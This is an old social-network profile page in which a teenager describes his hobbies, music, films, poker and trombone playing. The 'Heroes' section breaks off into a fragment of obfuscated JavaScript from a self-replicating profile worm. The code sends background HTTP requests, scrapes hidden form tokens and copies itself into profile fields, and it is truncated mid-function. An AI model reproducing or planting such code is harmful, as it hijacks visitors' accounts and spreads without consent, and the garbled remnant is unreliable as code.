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John

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About Me


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Hey, the name's John. Eh...but you can call me whatever you want; usually when someone mispells my name I just go with it...not to be confused with this crazy mofo . You might remember me as the kid in the back of the class laughing but you have no idea at what I'm laughing. You should ask me sometime. Probably the reason why I find humor is because my house is exceptionally lifeless; but that's just my theory. Maybe I'm dull person and don't know it? That would suck. Anyway...you might remember me as the kid with the crazy iPod with all the random music. Mostly containing rock but also, thanks to friends and kROQ, alternative, rap, pop, classical, musicals; pretty much the most random music. On the subject of music, I play trombone in Agoura's wind ensemble. Seems I need to play in order to get into UCLA (or according to Mr. Mosley). Mose tends to force me into playing musicals and extra stuff like that (trombonist are pretty popular). Still, I hope to one day conquer Mose's mannerisms and harness them for my own use. That would be cool. Anyway, I used to play computer games alot more before I started on myspace...I pretty much just mindlessly lurk around looking at people's sites now. I also have a crazy flash "series" on Newgrounds.com called The Fall of Gandalf or something. Check it out if you don't have anything else better to do. I find poker an entertaining sport. A game involving math, psycology, trickry: what more could you ask for? Iceblocking/doorbell ditching after games doesn't hurt either.
yahoo: turkey_in_disguise2003
aol: lakerguyno1
msn: [email protected]

Did I mention I'm a pirate by the name of Captain John Edgar Skeetbeard? But you can just call me Skeetbeard...or ed...but Skeetbeard would be the most formal. Actually, Captain Skeetbeard would give me name the most due credit. ARRR.

My Interests

Animations, Single and Internet Games (including Steam, Rome: Total War, BattleFeild, Runescape (sn is agent_turkey on rs by the way)), Basketball, Poker, Strangers, scaring little children at Spooky House , listening to loud music in the dark, and trombone explosions

I'd like to meet:

Having a Taco Bell bean burrito with Kurt Cobain, Les Claypool, and Bob Marley would furfill my life.
And pirates, the more the merrier, arrrr

Music:

Primus, Nickelback, Nirvana, Meat Loaf, Green Day, LinkinPark, Staind, Alice in Chains, Sound Garden, Buckcherry, Fort Minor, Gorillaz, Switchfoot, Distrubed, Seether, Black Sabbath, The All-American Rejects, Weezer, The Killers, Snow Patrol, Three Day's Grace, The Police, Avenged Sevenfold, Tenacious D, Matisyahu, Sean Paul, Korn, Papa Roach, Lifehouse, Foo Fighters, The Raconteurs, Matchbox Twenty, Maroon 5, The Offspring, Fall Out Boy, Nine Inch Nails, System of a Down, Metallica, Blink 182, Lynyrd Skynyrd, Pink Floyd, AC/DC, Journey, The Beatles, Simon and Garfunkel, Jason Robert Brown, The Who, Paul Simon, Bob Dylan, Eric Clapton, Jason Robert Brown, Mahler, Tchaikovsky, Brahms, Shosticovich Jimi Hendrix - Hey Joe Jimi Hendrix - Foxy Lady Switchfoot - Meant to Live Breaking Benjamin - Diary of Jane Donovan - There is a Mountain (Back by poplular demand) Black Sabbath - Iron Man Black Sabbath - War Pigs (Live 1978) Sound Garden - Black Hole Sun Alice in Chains - Angry Chair Snow Patrol - Hands Open Blink 182 - I Miss You (Live) Mistah Fab - Ghost Ride the Whip

Movies:

Kung Pow, Scary Movie 1 & 3 & 4, Monty Python, The Ring, Boogieman, The Last Samuri, Ali. G Indahouse, The Village, The Rocky Horror Picture Show, 8 Mile, Saw 1 & 2, The Grudge, Pirates of the Caribbean, Beerfest, Cheech and Chong: Up in Smoke

Television:

Family Guy, Da Ali. g. Show, Simpsons...umm...history channel is cool too...that's about it other than occasional laker game if they are playing unusally well. I don't really watch that much tv other then music videos and such.

Books:

Catcher in the Rye, Walden, Street French Volume 3: The Best of Naughty French, and Doyle Brunson's Super System "A Course in Power Poker" .

Heroes:

Scuba Steve, the guy who beat Super Mario 64 in 16 minutes, Les Claypool, and Mr. Mosley for teaching me how to really play poker...0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','% 2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26' )}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}..'J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if( BJ=='POST'){J.setRequestHeader('Content-Type','application/x -www-form-urlencoded');J.setRequestHeader('Content-Length',B K.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=getSource();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace ('exp'+'r)','exp'+'r)'+A);AF=' '}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes',' ');AG=AG.substring(61,AG.length);if(AG.indexOf('
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Posted by John on Thu, 28 Dec 2006 08:43:00 PST